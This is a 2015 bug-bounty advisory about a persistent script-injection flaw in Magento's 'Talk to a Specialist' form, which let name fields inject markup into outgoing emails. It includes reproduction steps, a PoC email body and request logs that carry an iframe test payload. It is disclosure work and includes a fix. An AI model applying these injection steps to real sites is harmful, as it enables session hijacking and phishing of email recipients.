Ebay Magento Script Insertion

`Document Title:  
===============  
Ebay Inc Magento Bug Bounty #5 - Persistent Validation & Mail Encoding Web Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1226  
  
eBay Inc. Bug Bounty Program ID: EIBBP-27288  
  
Vulnerability Magazine: http://magazine.vulnerability-db.com/?q=articles/2015/02/14/ebay-inc-magento-2015q1-official-bug-bounty-program-rewards-security-researcher  
  
  
Release Date:  
=============  
2015-02-14  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1226  
  
  
Common Vulnerability Scoring System:  
====================================  
3.8  
  
  
Product & Service Introduction:  
===============================  
Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed   
by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned   
solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model   
to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites.  
  
Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting   
this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability   
inside our system, please tell us right away.  
  
( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Research Team discovered an application-side input validation and mail encoding web vulnerability in the official eBay Magento and Magento info web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2014-03-14: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)  
2014-03-15: Vendor Notification (eBay Inc Security Team - Bug Bounty Program)  
2014-03-10: Vendor Response/Feedback (eBay Inc Security Team - Bug Bounty Program)  
2015-02-12: Vendor Fix/Patch (Magento Developer Team)  
2015-02-13: Bug Bounty Reward (eBay Inc Security Team - Bug Bounty Program)  
2015-02-14: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Ebay Inc.  
Product: Magento - Web Application Service 2014 Q1  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
An application-side mail encoding web vulnerability has been discovered in the official eBay Magento & Info Web-Application.  
The vulnerability allows remote attackers to bypass the outgoing mail filter validation of the magento web-server & web-application.  
  
The vulnerability is located in the first- and lastname values of the `Talk to a Specialist` module. Remote attackers without privileged application   
user account are able to inject persistent malicious script codes. The script code execution occurs in the notification mail to the specialist but   
also to the active user copy mail. The persistent injected script code executes in the header section were the database context of the first- and   
lastname will be displayed. The sender interacts automatically by usage of the magento.com & info.magento.com service. The validation of the db   
stored outgoing values is wrong encoded and allows persistent injections of malicious script codes via POST method. The attack vector is persistent   
and the injection request method is POST.   
  
The security risk of the mail encoding web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8.  
Exploitation of the web vulnerability requires no privileged web-application user account and low or medium user interaction because of the  
persistent attack vector. Successful exploitation of the encoding vulnerability results in session hijacking, persistent phishing, persistent   
external redirects and persistent manipulation of web header or mail body context.  
  
Vulnerable Domain(s):  
[+] magento.com & info.magento.com  
  
Vulnerable Module(s):  
[+] Talk to a Specialist  
  
Vulnerable Parameter(s):  
[+] firstname  
[+] lastname  
[+] companyname  
  
Affected Sender(s):  
[+] [email protected]  
  
Affected Receiver(s):  
[+] [email protected]  
  
  
Affected Context Module(s):  
[+] Section 1 > mktEditable  
  
  
Proof of Concept (PoC):  
=======================  
The application-side input validation web vulnerability can be exploited by remote attackers without privileged user account and with low or medium user interaction.  
For security demonstration or to reproduce the mail encoding web vulnerability follow the provided information and steps below to continue.  
  
  
Manual steps to reproduce of the vulnerability ...  
1. You do not need to register an account ;)  
2. Open up the main website and switch to the magento.com contacts site  
3. On the bottom you need to click the `talk to specialist` button  
4. You get redirect to a regular valid formular with a mod specialist notification  
5. Inject your script code payloads as first-, last- and companyname values  
6. Click the send request button ...  
Note: Now, you will be redirected by the service after choosing a specialist ... we used `E.C. Kraus` (#sry ;)  
7. Send the same request from the input below to the specialist with a non malicious test payload  
8. The persistent code execution occurs in the mail to the manager aka specialist but also to the sender of the notification itself (without user auth!)  
9. Successful reproduce of the persistent script code injection web vulnerability via POST method request  
  
  
PoC: Your E.C. Kraus Magento Enterprise Case Study Download  
  
<html><head>  
<title>Your E.C. Kraus Magento Enterprise Case Study Download</title>  
<link rel="important stylesheet" href="chrome://messagebody/skin/messageBody.css">  
</head>  
<body>  
<table class="header-part1" border="0" cellpadding="0" cellspacing="0" width="100%">  
<tbody><tr><td><b>Betreff: </b>Your E.C. Kraus Magento Enterprise Case Study Download</td></tr><tr><td>  
<b>Von: </b>Magento <[email protected]></td></tr><tr><td><b>Datum: </b>15.03.2014 20:27</td></tr></tbody></table>  
<table class="header-part2" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td><b>An: </b>[email protected]</td></tr></tbody></table><br>  
<meta http-equiv="Content-Type" content="text/html; ">  
<title></title>  
<div id="Section 1" class="mktEditable"><p>Dear a "><[PERSISTENT INJECTED SCRIPT CODE 1!]">%20<[PERSISTENT INJECTED SCRIPT CODE 2!]>,</p>  
<p>Thank you for requesting the Magento Enterprise Case Study on E.C. Kraus. You can download the Case Study here:</p>  
<p><a href=  
"http://email.magento.com/397EXO8770000EP01aGC801"  
>Download</a></p>  
<p>Check out our complete list of <a href=  
"http://email.magento.com/397EXO8770000EQ01aGC801"  
>Magento Case Studies</a></p>  
<p>To learn more about Magento Enterprise or to reqeust a personalized quote, please <a href=  
"http://email.magento.com/397EXO8770000ER01aGC801"  
>contact out Magento Enterprise team</a>.</p>  
<p>Thank you,</p>  
<p>The Magento Team</p></div>  
<IMG SRC="http://email.magento.com/trk?t=1&mid=Mzk3LUVYTy04Nzc6MDozMzkyOjExMzI1OjA6MzMxNzo3OjE3MzIzNDI4LTE6bnVsbA%3D%3D" WIDTH="1" HEIGHT="1" BORDER="0" ALT="" />  
</body>  
</html>  
</body>  
</html>  
</iframe></p></div></body></html>  
  
  
--- PoC Session Logs [POST] ---  
21:15:18.356[654ms][total 2913ms]   
Status: 200[OK]  
GET http://magento.com/explore/contact-sales   
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[text/html]  
Request Header:  
Host[magento.com]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
Referer[http://magento.com/customers/customer-showcase]  
Cookie[optimizelySegments=%7B%22239237138%22%3A%22direct%22%2C%22237962548%22%3A%22ff%22%2C%22238367687%22%3A%22false%22%7D; optimizelyEndUserId=oeu1394911379094r0.20693940633527685; optimizelyBuckets=%7B%7D; _ga=GA1.2.394130418.1394911379; has_js=1; ClrSSID=1394911380598-4406; ClrOSSID=1394911380598-4406; ClrSCD=1394911380598; s_cc=true; s_fid=5EF56BF224B1A40C-0256902EC3CD13C6; gpv_pn=%2Fcustomers%2Fcustomer-showcase; undefined_s=First%20Visit; s_vnum=1396303200710%26vn%3D1; s_invisit=true; s_sq=magentomagento%2Cmagentoglobal%3D%2526pid%253D%25252Fcustomers%25252Fcustomer-showcase%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fmagento.com%25252Fexplore%25252Fcontact-sales_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_ppv=-%2C84%2C84%2C2200; utm_src=a%3A6%3A%7Bs%3A8%3A%22campaign%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22medium%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22source%22%3Bs%3A11%3A%22magento.com%22%3Bs%3A7%3A%22keyword%22%3Bs%3A0%3A%22%22%3Bs%3A3%3A%22url%22%3Bs%3A11%3A%22magento.com%22%3Bs%3A4%3A%22time%22%3Bi%3A1394911525%3B%7D; _mkto_trk=id:397-EXO-877&token:_mch-magento.com-1394911532816-55587; _tsm=m%3DDirect%2520%252F%2520Brand%2520Aware%253A%2520Typed%2520%252F%2520Bookmarked%2520%252F%2520etc%7Cs%3Dmagento.com%7Crp%3D%252Fwww.magentocommerce.com%252Fdownload%7Crd%3Dmagento.com]  
Connection[keep-alive]  
If-None-Match["1394841413-1"]  
Response Header:  
Server[maged]  
Date[Sat, 15 Mar 2014 20:15:18 GMT]  
Content-Type[text/html; charset=utf-8]  
Transfer-Encoding[chunked]  
Connection[keep-alive]  
X-Drupal-Cache[HIT]  
Etag["1394841413-1"]  
x-content-type-options[nosniff]  
X-Frame-Options[SameOrigin]  
Content-Language[en]  
Link[<http://magento.com/explore/contact-sales>; rel="canonical",<http://magento.com/node/22>; rel="shortlink"]  
Cache-Control[public, max-age=86400]  
Last-Modified[Fri, 14 Mar 2014 23:56:53 +0000]  
Expires[Sun, 19 Nov 1978 05:00:00 GMT]  
Vary[Cookie, Accept-Encoding]  
Content-Encoding[gzip]  
X-Server[web04]  
-  
21:15:34.123[335ms][total 335ms]   
Status: 302[Found]  
POST https://info.magento.com/index.php/leadCapture/save   
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[135] Mime Type[text/html]  
Request Header:  
Host[info.magento.com]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
Referer[https://info.magento.com/EC-Kraus.html]  
Cookie[optimizelySegments=%7B%22239237138%22%3A%22direct%22%2C%22237962548%22%3A%22ff%22%2C%22238367687%22%3A%22false%22%7D; optimizelyEndUserId=oeu1394911379094r0.20693940633527685; optimizelyBuckets=%7B%7D; _ga=GA1.2.394130418.1394911379; BIGipServerabjweb-ssl2_http=3892838666.20480.0000; s_cc=true; s_fid=5EF56BF224B1A40C-0256902EC3CD13C6; gpv_pn=%2Fec-kraus.html; undefined_s=First%20Visit; s_vnum=1396303200710%26vn%3D1; s_invisit=true; s_sq=magentoinfo%2Cmagentoglobal%3D%2526pid%253D%25252Fec-kraus.html%2526pidt%253D1%2526oid%253Dfunctiononclick%252528event%252529%25257BformSubmit%252528document.getElementById%252528%252522mktForm_1129%252522%252529%252529%25253Breturnfalse%25253B%25257D%2526oidt%253D2%2526ot%253DSUBMIT; s_ppv=-%2C100%2C100%2C832; utm_src=a%3A6%3A%7Bs%3A8%3A%22campaign%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22medium%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22source%22%3Bs%3A11%3A%22magento.com%22%3Bs%3A7%3A%22keyword%22%3Bs%3A0%3A%22%22%3Bs%3A3%3A%22url%22%3Bs%3A11%3A%22magento.com%22%3Bs%3A4%3A%22time%22%3Bi%3A1394911525%3B%7D; BIGipServerabjweb-ssl2_https=3909615882.47873.0000; ClrSSID=1394911532386-9188; ClrOSSID=1394911532386-9188; ClrSCD=1394911532386; _mkto_trk=id:397-EXO-877&token:_mch-magento.com-1394911532816-55587; _tsm=m%3DDirect%2520%252F%2520Brand%2520Aware%253A%2520Typed%2520%252F%2520Bookmarked%2520%252F%2520etc%7Cs%3Dmagento.com%7Crp%3D%252Fwww.magentocommerce.com%252Fdownload%7Crd%3Dmagento.com; optimizelyPendingLogEvents=%5B%5D; ClrCSTO=T]  
Connection[keep-alive]  
POST-Daten:  
FirstName[%3Ciframe+src%3Da%3E]  
LastName[%3Ciframe+src%3Da%3E]  
Email[bkm%40evolution-sec.com]  
_marketo_comments[]  
lpId[2314]  
subId[36]  
munchkinId[397-EXO-877]  
kw[not+found]  
cr[not+found]  
searchstr[not+found]  
lpurl[https%3A%2F%2Finfo.magento.com%2FEC-Kraus.html%3Fcr%3D%7Bcreative%7D%26kw%3D%7Bkeyword%7D]  
formid[1129]  
returnURL[https%3A%2F%2Finfo.magento.com%2FEC-Kraus-confirm.html]  
retURL[https%3A%2F%2Finfo.magento.com%2FEC-Kraus-confirm.html]  
returnLPId[2301]  
_mkt_disp[return]  
_mkt_trk[id%3A397-EXO-877%26token%3A_mch-magento.com-1394911532816-55587]  
_comments_marketo[]  
_mkto_version[2.4.7]  
Response Header:  
Date[Sat, 15 Mar 2014 20:15:34 GMT]  
Server[Apache]  
Location[https://info.magento.com/EC-Kraus-confirm.html?aliId=67114725]  
Vary[Accept-Encoding]  
Content-Encoding[gzip]  
Content-Length[135]  
Connection[close]  
Content-Type[text/html]  
  
  
Reference(s):  
http://magento.com/customers/customer-showcase  
http://magento.com/explore/contact-sales  
https://info.magento.com/EC-Kraus-confirm.html?aliId=67114607  
https://info.magento.com/EC-Kraus.html  
https://info.magento.com/index.php/leadCapture/save  
  
  
Resource(s):   
../Contact Sales _ Magento-inputstep1.htm  
../Contact Sales _ Magento-inputstep2.htm  
../EC-Kraus-confirm.html  
../EC-Kraus-poc2.html  
../Your E.C. Kraus Magento Enterprise Case Study Download.html  
../Your E.C. Kraus Magento Enterprise Case Study Download.eml  
../poc-session-logs.txt  
../poc-url-references.txt  
  
  
Picture(s): (view magazine article)  
../1.png  
../2.png  
../3.png  
../4.png  
../5.png  
../6.png  
../7.png  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be patched by a secure parse or encode of the `talk to a specialist` input context.  
Encode and parse also the outgoing user values of the talk to a specialist form to prevent persistent injections via POST to outgoing service ebay magento mails.  
Restrict the input and disallow the usage of special chars.  
  
  
Security Risk:  
==============  
The security risk of the persistent input validation and mail encoding web vulnerability is estimated as medium. (CVSS 3.8)  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed   
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable   
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab   
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for   
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,   
policies, deface websites, hack into databases or trade with fraud/stolen material.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com  
Contact: [email protected] - [email protected] - [email protected]  
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact  
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to   
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by   
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website   
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact   
([email protected] or [email protected]) to get a permission.  
  
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™  
  
--   
VULNERABILITY LABORATORY - RESEARCH TEAM  
SERVICE: www.vulnerability-lab.com  
CONTACT: [email protected]  
PGP KEY: http://www.vulnerability-lab.com/keys/[email protected]%280x198E9928%29.txt  
  
  
`